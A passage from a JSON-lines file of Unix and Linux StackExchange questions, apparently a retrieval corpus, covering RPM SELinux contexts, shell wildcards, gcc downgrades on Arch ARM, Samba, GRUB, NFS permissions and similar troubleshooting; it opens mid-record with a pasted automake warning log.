src/Makefile.am:246: warning: source file 'core/async-getprop.c' is in a subdirectory, src/Makefile.am:246: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/testboxes.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/boxes.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/util.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:245: warning: source file 'ui/testgradient.c' is in a subdirectory, src/Makefile.am:245: but option 'subdir-objects' is disabled src/compositor/plugins/Makefile.am:4: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') src/tools/Makefile.am:6: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') src/wm-tester/Makefile.am:2: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') autoreconf: automake failed with exit status: 1:33: warning: source file 'ui/theme.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/ui.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/preview-widget.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:202: warning: source file 'core/muffin.c' is in a subdirectory, src/Makefile.am:202: but option 'subdir-objects' is disabled src/Makefile.am:197: warning: source file 'ui/theme-viewer.c' is in a subdirectory, src/Makefile.am:197: but option 'subdir-objects' is disabled src/Makefile.am:246: warning: source file 'core/testasyncgetprop.c' is in a subdirectory, src/Makefile.am:246: but option 'subdir-objects' is disabled src/Makefile.am:246: warning: source file 'core/async-getprop.c' is in a subdirectory, src/Makefile.am:246: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/testboxes.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/boxes.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/util.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:245: warning: source file 'ui/testgradient.c' is in a subdirectory, src/Makefile.am:245: but option 'subdir-objects' is disabled src/compositor/plugins/Makefile.am:4: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') src/tools/Makefile.am:6: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') src/wm-tester/Makefile.am:2: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') autoreconf: automake failed with exit status: 1:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/gradient.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/group-props.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/group.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/iconcache.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/keybindings.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/main.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/place.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/theme.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/ui.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/preview-widget.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:202: warning: source file 'core/muffin.c' is in a subdirectory, src/Makefile.am:202: but option 'subdir-objects' is disabled src/Makefile.am:197: warning: source file 'ui/theme-viewer.c' is in a subdirectory, src/Makefile.am:197: but option 'subdir-objects' is disabled src/Makefile.am:246: warning: source file 'core/testasyncgetprop.c' is in a subdirectory, src/Makefile.am:246: but option 'subdir-objects' is disabled src/Makefile.am:246: warning: source file 'core/async-getprop.c' is in a subdirectory, src/Makefile.am:246: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/testboxes.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/boxes.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/util.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:245: warning: source file 'ui/testgradient.c' is in a subdirectory, src/Makefile.am:245: but option 'subdir-objects' is disabled src/compositor/plugins/Makefile.am:4: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') src/tools/Makefile.am:6: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') src/wm-tester/Makefile.am:2: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') autoreconf: automake failed with exit status: 1:33: warning: source file 'core/prefs.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/screen.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/session.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/stack.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/stack-tracker.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/util.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/window-props.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/window.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/workspace.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/xprops.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/frames.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/tile-hud.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/menu.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/metaaccellabel.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/resizepopup.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/tabpopup.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/tile-preview.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/theme-parser.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/theme.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/ui.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/preview-widget.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:202: warning: source file 'core/muffin.c' is in a subdirectory, src/Makefile.am:202: but option 'subdir-objects' is disabled src/Makefile.am:197: warning: source file 'ui/theme-viewer.c' is in a subdirectory, src/Makefile.am:197: but option 'subdir-objects' is disabled src/Makefile.am:246: warning: source file 'core/testasyncgetprop.c' is in a subdirectory, src/Makefile.am:246: but option 'subdir-objects' is disabled src/Makefile.am:246: warning: source file 'core/async-getprop.c' is in a subdirectory, src/Makefile.am:246: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/testboxes.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/boxes.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:244: warning: source file 'core/util.c' is in a subdirectory, src/Makefile.am:244: but option 'subdir-objects' is disabled src/Makefile.am:245: warning: source file 'ui/testgradient.c' is in a subdirectory, src/Makefile.am:245: but option 'subdir-objects' is disabled src/compositor/plugins/Makefile.am:4: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') src/tools/Makefile.am:6: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') src/wm-tester/Makefile.am:2: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') autoreconf: automake failed with exit status: 1 or: http://pastebin.com/dJx2hkEz"} {"_id": "16458", "title": "What is the proper way to set SELinux context in an RPM .spec?", "text": "I am trying to build an RPM that targets RHEL4 and 5. Right now I call `chcon` from `%post` but multiple Google entries say \"that's not how you are supposed to do it\" with very limited help on the _right_ way. I've also noticed that `fixfiles -R mypackage check` says the files are wrong when they are right (as expected; the RPM DB doesn't realize what I want).. * I specifically say RHEL4 because it does _not_ have `semanage` which seems to be one of the proper ways to do it. (Add a new policy and then run `restorecon` on your directories in `%post`.) * I also don't need my own context, just `httpd_cache_t` on a non-standard directory. * I have also seen \"let `cpio` take care of it\" - but then I have a new problem that a non-root RPM building user cannot run `chcon` on the build directories. I cheated and had `sudo` in the spec file but that didn't seem to matter anyway."} {"_id": "50416", "title": "How to find out what is this process for?", "text": "I have this 'java' process running for 3 hours ( I guess ). I didn't see it before and I wonder how could I find out where it's coming from? Here is a screenshot: ![screenshot](http://i.stack.imgur.com/JYwmb.png) EDIT: ok I figured it out, it's a freenet stuff I installed few days ago."} {"_id": "106825", "title": "How good is gnash as a replacement for flash?", "text": "Fedora suggests the Gnash plugin as a replacement for the Flash plugin and I am seriously considering it. My question is: how good is the Gnash plugin as a replacement for the Flash plugin? In my case, I'm not interested in anything advanced, just being able to watch youtube videos."} {"_id": "129608", "title": "alias vs export for simple commands", "text": "For simple commands like `less`, is it better to make an alias or to export the options? Is there any benefit of one over the other? For example, if I want `less` to always use the `-R` option to show raw characters, both of these solutions work: 1. `export LESS='-R'` 2. `alias less='less -R'` For a simple case like this, is there any benefit of one over the other? Any scenarios where one will cause problems and the other won't? I've read through several `info` and `man` pages, as well as Googling it, but I'm still stuck on this."} {"_id": "129605", "title": "Impossible to resize window", "text": "I'm using Lubuntu 11.10 on a Sony Vaio. After I connected my laptop on a projector for my talk I'm having a problem with the size of one window. As you can see below (Fig. 1) the _Mathematica_ window title bar is outside the screen and so I can not resize it. If I right button click on the program button (on the panel) and choose Maximize, OK, the window is visible. (Fig. 2) But when I restore its size, the position goes back to outside. Any help? ![enter image description here](http://i.stack.imgur.com/A6CnZ.png) ![enter image description here](http://i.stack.imgur.com/sm2HP.png)"} {"_id": "109637", "title": "command to reboot as non-root user", "text": "I am using LXDE on Debian. When logged in LXDE as user, I can click on the `logout` icon in the menu and choose one of the options: * `shutdown` * `reboot` * `logout` * `suspend` But when I type `reboot` or `shutdown -r now` in the terminal, that does not work. How can I shutdown my system as the user from within the terminal? I need a command, which will be executed when my battery is critically low, so that my system can be shut down cleanly."} {"_id": "150733", "title": "why doesn't iozone generate output file?", "text": "I'm using `iozone3` for tesing, on Xamin (an Debian-based OS). When I enter `iozone` command, for example `iozone -Rab output.xls`, the test runs successfully. But after running the test (after displaying this message: `iozone test complete.`). Instead of generating the excel file, `iozone` returns the results in shell. Why doesn't it generate an excel file?"} {"_id": "118694", "title": "What does the `maximum error` field in `sudo dmidecode -t 22` mean", "text": "When I do `sudo dmidecode -t 22` to get some information about my battery there is a field called `maximum error` For my new battery `maximum error` is `15 %` (cheap replacement from a web store) for my old one (original DELL battery) `maximum error` is `0%`. What does the term `maximum error` mean in this context and how can one interpret the `15 %`?"} {"_id": "70928", "title": "Shell wildcards and dot files", "text": "I am a beginner terminal user trying to understand wildcards. I think I pretty much have a good grasp on it, but I have a couple of questions: Why do the following two codes work as expected: ls -d .[!.]?* echo [D]* But the following 2 don't: ls -d [.][!.]?* echo [D] In the first command, I get an error: ls: cannot access [.][!.]*: No such file or directory When I am trying to get the same listing `ls -d .[!.]?*`. And for the second, the output is: [D] When I'm expecting an error proclamation along the lines of `No such file or directory`. What am I missing? What exactly makes an expression a wildcard, if those wildcard elements shown in the second set of examples above don't cut it? **Clarification** (Also in comments): The wildcard `[D]*` doesn't only output `D`, it also outputs `Desktop`, `Downloads` ... etc. However, I also tried `echo [D]` when I had a file named D and when I didn't. The output worked when the file `D` was there, but I also got the output `[D]` when it wasn't. I don't get why. Why did the presence of the file in the directory change the expression [D] from being a wild card to not?"} {"_id": "127803", "title": "Firefox 29 default Accept-Language bug", "text": "Since I upgraded Firefox to version 29 it is sending the wrong `Accept- Language` header `en-US,en;q=0.5` which should be `pt-BR,pt;q=0.8,en- US;q=0.5,en;q=0.3`, it was right on previous version. I managed to fix it temporarily by going to `about:config`, searching for `intl.accept_languages` flag, changing to anything then reseting it to the default to restore the correct value, which by the way was the same before changing, so Firefox is able to send the correct `Accept-Language` header. But there is two issues: 1. It works only on this instance of the browser, if I restart it I need to do the configuration again. 2. I can not expect all Firefox users around the world do the same, since not everyone has the required knowledgement. I tested on my girlfriend's PC to ensure the error happens, and it is really a issue of Firefox, not only from my configuration. It do not happens on the Windows version of Firefox, only for Linux one. I want to know if it happens with other ones too, and if it is indeed a Firefox new bug."} {"_id": "118698", "title": "Windows creates autorun.inf when mounting samba share", "text": "I'm running `samba` on my Linux machine. When I mount a `samba` share from `Windows`, such as my home directory, a file named `autorun.inf` will be created inside the mount. It seems to be a text file but horribly disfigured and even `file` claims it to be a binary. The file can be deleted of course but will be re-created every time `Windows` mounts the share. Is there a way to get rid of that file permanently? Is it dangerous in some way? Why would `Windows` create it in the first place?"} {"_id": "124550", "title": "Arch Linux on ARM chipset I just want to install gcc 4.7", "text": "It sounds simple enough but this has got me pulling my hair out. I am running Arch Linux on an ARM chipset (Raspberry Pi specifically) that I used to be using as a print server. It was running CUPS with a universal Splix driver for my Samsung printer and worked well for a while until an unfortunate overclocking experiment completely trashed the filesystem. So I am rebuilding the OS and the software for the print server but it seems that Splix 2.0.0 can no longer compile on gcc the way it used to. The Splix project hasn't been changed since 2009 so I can rule out a recent code change there. The error message I get trying to compile Splix seems more like a complaint about a prototype not matching exactly to an overloaded method in one specific file. I believe this is because the latest version of gcc (4.8.2-7) is not backwards compatible with this Splix driver anymore. Beyond kicking myself over not backing up the compiled binaries when I had a chance, and coming to the sobering realization that `pacman` is purposely designed to make downgrading things a nightmare, I am trying to figure out a way I can find an ARM chipset package of gcc that is older, preferably 4.7.x, and do `pacman -U xxxx.tar.gz` and then instruct pacman not to upgrade this package. I will probably have to do the same for gcc-libs. This should be relatively low risk as Splix is the only source I need to download and compile as there is no package site that has this software built for the ARM chipset. If I have to download 4.7 source for gcc and compile that I would but I wouldn't know how or where to start? Is there another C++ compiler I can try other than gcc that might work? **UPDATE:** I accepted the answer pointing me to the Rollback Machine because this did have the exact version of GCC that I had asked for. I was able to download and install all of its dependencies manually and GCC appears to work fine, however I found that even this version was giving me the compiler error. I want to kick myself in the face right now because I didn't even realize that Splix 2.0.0 was actually AVAILABLE in `pacman` under the community repo! I must have misspelled it when I did a query `pacman -Q slpix` because at first it told me it could not find the package. Then I thought that I must have downloaded the source and compiled it myself but apparently I didn't because I would have run into this same issue. Needless to say I am quite embarrassed and I appreciate all of the help. I am curious though why I am unable to build Splix 2.0.0. I must be missing something simple but I am not the best C++ developer so I will leave that problem for the experts."} {"_id": "48874", "title": "No sound on speakers, headphones ok", "text": "My Laptop (Dell Vostro 3300) internal speaker (yes, it's mono) is mute already for some time, and I was just patient with this problem, because the sound quality is ridiculous anyway and I always used either headphones or external speakers. But I wanted to fix this nevertheless, for those few times I need that pity internal speaker. There was no problem initially, but it appeared something like couple of months ago. It might be related to OS upgrades (Ubuntu 12.04 LTE right now), but, on the other hand, if I boot Live Mint 12, then there's no sound on speakers there neither. I thought that the problem might be hardware related (ie, the speaker is just plain dead), but I'm not sure how I could check that. Another explanation could be that the system thinks that the earphones jack is plugged in and the system just doesn't switch to the speaker output. I surely hope this is some strange driver problem though and, thus, fixable. Would be happy for any ideas how to detect that. Edit: I have increasing suspicion that the failed sense pin in headphone jack is to blame, so this is not Unix/Linux topic at all. Alas, there are no tests on this model to detect that."} {"_id": "48875", "title": "How to disable Logwatch filtering script?", "text": "The default config for http-error logs in Logwatch on a CentOS 5 box (logwatch-7.4.0-1) includes the line: *ApplyhttpDate That wipes out _all_ lines, because Apache 2.2 uses StdDate format (e.g. `Fri Sep 21 04:44:55 2012`) not the standard Apache format (e.g. `04/Sep/2012:13:46:40 -0500`). The HOWTo-Customize-LogWatch file says: > If an executable script is declared in an /etc/logwatch/conf file, all of > the executable script declarations in the corresponding file in > /usr/share/logwatch/default.conf or /usr/share/logwatch/dist.conf are > ignored. If I create /etc/logwatch/conf/logfiles/http-error.conf and set *ApplyStdDate then it applies the StdDate filter **after** it has applied HttpDate filtering, rather than instead of. Other than editing `/usr/share/logwatch/default.conf/logfiles/http-error.conf` (which I've resorted to for now, but shouldn't do because it is provided by an RPM) how am I supposed to disable a filter script in Logwatch?"} {"_id": "48877", "title": "wine error when using divfix", "text": "When I'm logged in through SSH to a Scientific Linux 6.3 machine I get this error message: /usr/bin/wine /home/USER/.divfix/DivFix++.exe -i INPUT.avi -o out.avi wine: created the configuration directory '/home/test/.wine' No protocol specified No protocol specified No protocol specified No protocol specified No protocol specified No protocol specified Application tried to create a window, but no driver could be loaded. Make sure that your X server is running and that $DISPLAY is set correctly. err:systray:initialize_systray Could not create tray window Application tried to create a window, but no driver could be loaded. Make sure that your X server is running and that $DISPLAY is set correctly. I have set the DISPLAY variable..: grep -i display ~/.bashrc export DISPLAY=\":0.0\" I have X/GUI: yum groupinstall \"Desktop\" \"Desktop Platform\" \"X Window System\" \"Fonts\" I have \"yum update\" and then rebooted (so up-to-date). What am I missing? please help. UPDATE: xset -q No protocol specified xset: unable to open display \":0.0\""} {"_id": "48870", "title": "Global bash_profile", "text": "I realize there are `/etc/profile` and `/etc/bashrc` files for setting global environment variables and maybe I'm just misunderstanding their purposes, but... Is their a global `bash_profile` file? _This is on Mac OS X by the way._"} {"_id": "48873", "title": "My computer won't shut off normally", "text": "Every time I try to shut down my iMac it just stays on that loading circle forever. The only way I can get it to shut down is by holding down the power button. I checked the system logs (below) and I can't really see anything that could be causing the shutdown to loop forever. Any ideas? Sep 18 06:47:50 Tardis.local GoogleSoftwareUpdateDaemon[3270]: -[KSUpdateCheckAction(PrivateMethods) finishAction] KSUpdateCheckAction found updates: {( )} Sep 18 06:47:50 Tardis.local GoogleSoftwareUpdateDaemon[3270]: -[KSPrefetchAction performAction] KSPrefetchAction no updates to prefetch. Sep 18 06:47:50 Tardis.local GoogleSoftwareUpdateDaemon[3270]: -[KSMultiUpdateAction performAction] KSSilentUpdateAction had no updates to apply. Sep 18 06:47:50 Tardis.local GoogleSoftwareUpdateDaemon[3270]: -[KSMultiUpdateAction performAction] KSPromptAction had no updates to apply. Sep 18 06:47:50 Tardis.local GoogleSoftwareUpdateDaemon[3270]: -[KSUpdateEngine(PrivateMethods) updateFinish] KSUpdateEngine update processing complete. Sep 18 06:47:53 Tardis.local com.apple.usbmuxd[1629]: _SendDetachNotification (thread 0x7fff744ab180): sending detach for device d0:23:db:1b:9a:fa@fe80::d223:dbff:fe1b:9afa._apple-mobdev._tcp.local.: _BrowseReplyReceivedCallback got bonjour removal. Sep 18 06:48:03 Tardis.local com.apple.SecurityServer[20]: Succeeded authorizing right 'system.volume.removable.unmount' by client '/System/Library/CoreServices/Finder.app' [3219] for authorization created by '/System/Library/CoreServices/Finder.app' [3219] (100013,0) Sep 18 06:48:03 Tardis.local com.apple.SecurityServer[20]: Succeeded authorizing right 'system.volume.removable.unmount' by client '/usr/sbin/diskarbitrationd' [56] for authorization created by '/System/Library/CoreServices/Finder.app' [3219] (100002,0) Sep 18 06:48:05 Tardis.local webfilterproxyd[3277]: whitelistVerdict: (null) | kitty has no web restrictions | http://init.ess.apple.com/WebObjects/VCInit.woa/wa/getBag?ix=1 Sep 18 06:48:05 Tardis kernel[0]: Sandbox: sandboxd(3279) deny mach-lookup com.apple.coresymbolicationd Sep 18 06:48:05 Tardis.local webfilterproxyd[3277]: whitelistVerdict: (null) | kitty has no web restrictions | https://tools.google.com Sep 18 06:48:05 Tardis.local sandboxd[3279] ([3277]): webfilterproxyd(3277) deny job-creation Sep 18 06:48:07 Tardis.local GoogleSoftwareUpdateDaemon[3270]: -[KeystoneDaemon logServiceState] GoogleSoftwareUpdate daemon (1.1.0.3659) vending: com.google.Keystone.Daemon.UpdateEngine: 1 connection(s) com.google.Keystone.Daemon.Administration: 0 connection(s) Sep 18 06:48:09 Tardis.local com.apple.SecurityServer[20]: Succeeded authorizing right 'system.volume.removable.unmount' by client '/System/Library/CoreServices/Finder.app' [3219] for authorization created by '/System/Library/CoreServices/Finder.app' [3219] (100013,0) Sep 18 06:48:09 Tardis.local com.apple.SecurityServer[20]: Succeeded authorizing right 'system.volume.removable.unmount' by client '/usr/sbin/diskarbitrationd' [56] for authorization created by '/System/Library/CoreServices/Finder.app' [3219] (100002,0) Sep 18 06:48:15 Tardis.local GoogleSoftwareUpdateDaemon[3270]: -[KeystoneDaemon main] GoogleSoftwareUpdateDaemon inactive, shutdown. Sep 18 06:48:19 Tardis com.apple.launchd.peruser.502[277] (com.apple.PackageKit.InstallStatus): Throttling respawn: Will start in 9 seconds Sep 18 06:48:19 Tardis.local WindowServer[106]: CGXGetConnectionProperty: Invalid connection 85271 Sep 18 06:48:19 --- last message repeated 4 times --- Sep 18 06:48:19 Tardis.local WindowServer[106]: dict count after removing entry for window 0x56c is 0 Sep 18 06:48:19 Tardis com.apple.launchd.peruser.502[277] (com.apple.unmountassistant.useragent[3300]): Exited: Killed: 9 Sep 18 06:48:19 Tardis.local coreservicesd[68]: SendFlattenedData, got error #268435459 (ipc/send) invalid destination port from ::mach_msg(), sending notification kLSNotifyApplicationDeath to notificationID=1538 Sep 18 06:48:19 Tardis com.apple.launchd.peruser.502[277] ([0x0-0x35f35f].com.apple.iTunesHelper[3263]): Exited with code: 1 Sep 18 06:48:19 Tardis.local coreservicesd[68]: SendFlattenedData, got error #268435460 (ipc/send) timed out from ::mach_msg(), sending notification kLSNotifyApplicationDeath to notificationID=1589 Sep 18 06:48:19 Tardis com.apple.launchd.peruser.502[277] (com.apple.mdworker.bundles[3289]): Exited: Killed: 9 Sep 18 06:48:19 Tardis.local WindowServer[106]: CGXGetConnectionProperty: Invalid connection 85271 Sep 18 06:48:20 --- last message repeated 4 times --- Sep 18 06:48:20 Tardis.local loginwindow[3076]: DEAD_PROCESS: 3076 console Sep 18 06:48:20 Tardis.local coreservicesd[68]: SendFlattenedData, got error #268435460 (ipc/send) timed out from ::mach_msg(), sending notification kLSNotifyApplicationReady to notificationID=1532 Sep 18 06:48:20 Tardis.local airportd[3194]: _doAutoJoin: Already associated to \u201cType 40 Tardis\u201d. Bailing on auto-join. Sep 18 06:48:20 Tardis.local WindowServer[106]: CGXGetConnectionProperty: Invalid connection 85271 Sep 18 06:48:20 --- last message repeated 9 times --- Sep 18 06:48:20 Tardis.local shutdown[3308]: halt by kitty: Sep 18 06:48:20 Tardis.local shutdown[3308]: SHUTDOWN_TIME: 1347976100 852452"} {"_id": "127189", "title": "Deleted a Windows.old folder and now when I start my computer, GRUB doesn't see windows anymore", "text": "I had windows on my laptop and installed Debian GNU/Linux a few weeks ago on it. I'm basically dual booting. The thing is, in my windows I had a windows.old file I never bothered to delete until a day ago. When I deleted it and restarted my laptop, only Linux is shown and I can only boot into linux. Which is fine honestly, but I would love to still be able to get into windows. Does anyone know what I should/could do to fix my issue? **EDIT** After reading some related posts about this issue, I have to say I did delete the .ini files that were there too, I was even prompted if I should delete them or not when I was deleting windows.old, I assumed my new windows install would have them. Hope this info helps. **_EDIT 2 - Very weird edition_** Okay.. so I run Debian on both my laptop and desktop. I boot up my desktop today and upon boot up I was pressing the `numlock` key before a screen even appeared. I did this since I usually have 3-4 seconds before it automatically boots into linux. hitting numlock enables my arrow keys and i can then choose Windows 7 instead. Well.. hitting numlock apparently did the exact thing I mentioned above on my laptop. I only now see Linux and no windows. The reason this stands out is because I was doing the same thing on my laptop before windows 7 disappeared. I think this is the culprit. But googling the issue shows no solution.. this is odd.."} {"_id": "82178", "title": "Directory \"not found\" on HP-UX for NFS mount point", "text": "On an HP-UX B.11.31 that mount via NFS a remote disk using mount point `/BK_RESTORE`, I would like to access a sub directory with `oracle` user, but I cannot even if permissions are correct. Using a different normal user, like `bsp` works as expected. (from root) root> ls -ld / /BK_RESTORE /BK_RESTORE/erpln /BK_RESTORE/erpln/import-su-macchina-di-test drwxr-xr-x 41 root root 8192 Jul 8 09:43 / drwxrwxrwx 2 root sys 131072 Jul 8 10:06 /BK_RESTORE drwxrwxrwx 2 root sys 131072 Jul 8 09:44 /BK_RESTORE/erpln drwxrwxrwx 2 root sys 131072 Jul 8 10:05 /BK_RESTORE/erpln/import-su-macchina-di-test (from bsp) bsp> ls -ld / /BK_RESTORE /BK_RESTORE/erpln /BK_RESTORE/erpln/import-su-macchina-di-test drwxr-xr-x 41 root root 8192 Jul 8 09:43 / drwxrwxrwx 2 bsp bsp 131072 Jul 8 10:20 /BK_RESTORE drwxrwxrwx 2 bsp bsp 131072 Jul 8 09:44 /BK_RESTORE/erpln drwxrwxrwx 2 bsp bsp 131072 Jul 8 10:05 /BK_RESTORE/erpln/import-su-macchina-di-test (from oracle) oracle> ls -ld / /BK_RESTORE /BK_RESTORE/erpln /BK_RESTORE/erpln/import-su-macchina-di-test /BK_RESTORE not found /BK_RESTORE/erpln not found /BK_RESTORE/erpln/import-su-macchina-di-test not found drwxr-xr-x 41 root root 8192 Jul 8 09:43 / Please note that oracle lists the mount point with `ls /` but not with `ls -l /` (without giving any error). Moreover, when changing to this directory from oracle user, I get this error: cd /BK_RESTORE sh: /BK_RESTORE: Permission denied. Do you have an idea on what is happening? Thank you very much"} {"_id": "12468", "title": "Debian Live - modprobe failed to bring up Broadcom ethernet interfaces", "text": "I have a Dell 710 with Quad Bcom NetExtreme 5709s. In the name of expediency, I'm trying to boot off the Squeeze live CD, but the Broadcom drivers are in non-free, so they don't come up when you boot. No problem, I think to myself. I will sneaker-net the bnx2-firmware deb and all is good. I can see the interfaces in `lspci`, I have unpacked the deb and successfully executed `modprobe bnx2`; however I still can't see the interfaces in `ip link show`. What else should I do to bring these interfaces up without a reboot? ## EDIT I have old entries in `/var/log/kern.log` about the failure to load `bnx2` at boot, but the modprobe completes successfully with no other log entries... $ lsmod | grep bnx bnx2 57385 0"} {"_id": "12469", "title": "Advantages of Debian over Ubuntu", "text": "What are the main advantages of using Debian instead of Ubuntu?"} {"_id": "12465", "title": "How do I change permissions on an external hard drive in Arch Linux?", "text": "Permissions to my portable hard drive on Arch is read-only and it seems I can't change it- when I change it from the GUI it takes no effect. So, how can I change it through the terminal? Is there some config file relating to accessing hard drives? I'm asking because there's no problem such problem with SD cards. I also can't seem to 'Safely Remove Harddrive' although no processes are going on."} {"_id": "82171", "title": "Cross compile libzdb library for ARM9 architecture", "text": "I am using AM1808 ARM9-based micro processor for my project on Ubuntu v10.04 using G++ compiler. I am using sqlite3 database for data management. My application needs multiple simultaneous access to database. I found I need to implement connection pooling method to work efficiently. I googled a bit and found that Libzdb library is available for connection pooling and it is open source. I don't know how to cross compile this library for ARM9 architecture. How I can do this ?"} {"_id": "12467", "title": "Hardware to install 64-bit OS", "text": "If I search on Internet for minimum requirements to install a 64-bit operating system, Microsoft and allied forums recommend 4 GB RAM as the minimum criteria. On the other hand, when I look at Linux communities and say I have Dual Core Processor and 2 GB of RAM they say it's a 64-bit processor and you can go for 64-bit OS for efficiency. Now my question is what matters to install a 64-bit OS? Just RAM or anything more?"} {"_id": "127186", "title": "Stat disk drives wihout lsblk?", "text": "I have a minimalist busybox system that I was recently trying to use, and I found a small problem: it has no `lsblk` command. Is there another command to list disks, partitions, and sizes like `lsblk`? Some that also don't work: * `lsblk` * `lsusb` * `fdisk -l` * `cfdisk`"} {"_id": "12462", "title": "How to install color schemas for Kate running on GNOME", "text": "How do I install schemas(like this one; for syntax highlighting, etc) for Kate (which is originally for KDE) running on GNOME 3? Trying to install with the install.sh script took no effect. Also, if you happen to know any good schemas for Kate (for Python), please let me know."} {"_id": "7777", "title": "How can I get real-time information about monitor plug/unplug events?", "text": "When I connect or disconnect the USB device, udev shows/monitors that event. But udev is not enough smart to detect the plug-out or plug-in of the monitor. Is there any way/tool/utility from which I will get real-time information about the plug-out or plug-in of a monitor?"} {"_id": "84604", "title": "gedit reverting settings to default", "text": "I'd like to revert to the fresh gedit on my system. Any idea how to get back to default state? So that all my preferences would be lost as well as having activated only the plugins active by default? **Some background** My feeling is that it takes quite some time for the gedit to launch on my system and would like to start with the clean table once again. **Distros/versions** I'd like to achieve this on both of 